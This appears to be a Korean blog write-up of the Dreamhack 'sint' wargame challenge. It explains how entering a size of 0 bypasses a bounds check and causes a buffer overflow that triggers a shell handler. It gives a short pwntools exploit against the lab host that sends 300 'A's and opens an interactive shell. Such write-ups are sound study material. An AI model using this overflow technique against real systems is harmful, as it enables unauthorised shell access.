본문 바로가기

호그와트

드림핵 sint

728x90

이론적 기반은 아주 간단하다

Type Error라는 간단한 취약점에 의거하고 있는데

이는 개발자가 기본적으로 선택해주는 변수 크기에서 나오는 취약점이라고 할 수 있다 컴파일러는 개발자가 정해준 변수 크기를 따라서 메모리를 불러다가 계산하는데 만약 더해진 값이든 조작한 값이든 그 값이 그 크기 자체를 벗어나게 되면 값이 적어지든 커지든 하는 문제가 발생할 수 있다

이 문제는 버퍼 오버플로우를 일으키면 flag를 주겠다고 간단한 요구를 하고 있다 signal(SIGSEGV, get_shell);

그런데 밑에 보니

if (size > 256 || size < 0)

{

printf("Buffer Overflow!\n");

exit(0);

}

이런 식으로 나름 버퍼 오버플로우를 감지하려 하고 있다

size 변수에 숫자 0을 입력하면 이 감지를 통과할 수 있고

버퍼 오버플로우를 유도할 수 있다

from pwn import *

p = remote("host1.dreamhack.games", 8910)

payload = 'A' * 300

p.sendlineafter("Size: ", "0")

p.sendlineafter("Data: ", payload)

p.interactive()

728x90

'호그와트' 카테고리의 다른 글

드림핵 mango 쉬워요  (0) 2022.04.06
드림핵 spring view  (0) 2022.04.06
대나무숲 1 돌파  (0) 2022.02.28
Dreamhack login-1  (0) 2022.02.24
extract company  (0) 2022.02.24